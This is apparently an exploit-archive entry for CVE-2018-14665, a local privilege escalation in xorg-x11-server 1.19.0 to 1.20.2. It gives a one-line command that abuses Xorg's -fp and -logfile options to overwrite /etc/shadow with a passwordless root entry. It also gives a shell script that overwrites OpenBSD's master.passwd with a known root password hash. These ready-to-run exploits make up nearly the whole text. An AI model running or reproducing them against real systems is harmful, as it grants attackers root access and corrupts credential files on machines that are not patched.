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xorg-x11-server Local Privilege Escalation

xorg-x11-server Local Privilege Escalation
Posted Oct 25, 2018
Authored by Hacker Fantastic

xorg-x11-server versions prior to 1.20.3 local privilege escalation exploit.

tags | exploit, local
advisories | CVE-2018-14665
MD5 | a9661d06bec66a11b19ad5eeed19cc2e

xorg-x11-server Local Privilege Escalation

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#CVE-2018-14665 - a LPE exploit via http://X.org  fits in a tweet

cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su

Overwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.





#!/bin/sh
# local privilege escalation in X11 currently
# unpatched in OpenBSD 6.4 stable - exploit
# uses cve-2018-14665 to overwrite files as root.
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
# and vulnerable in default OpenBSD.
#
# - https://hacker.house
echo [+] OpenBSD 6.4-stable local root exploit
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
sleep 5
pkill Xorg
echo [-] dont forget to mv and chmod /etc/master.passwd.old back
echo [+] type 'Password1' and hit enter for root
su -

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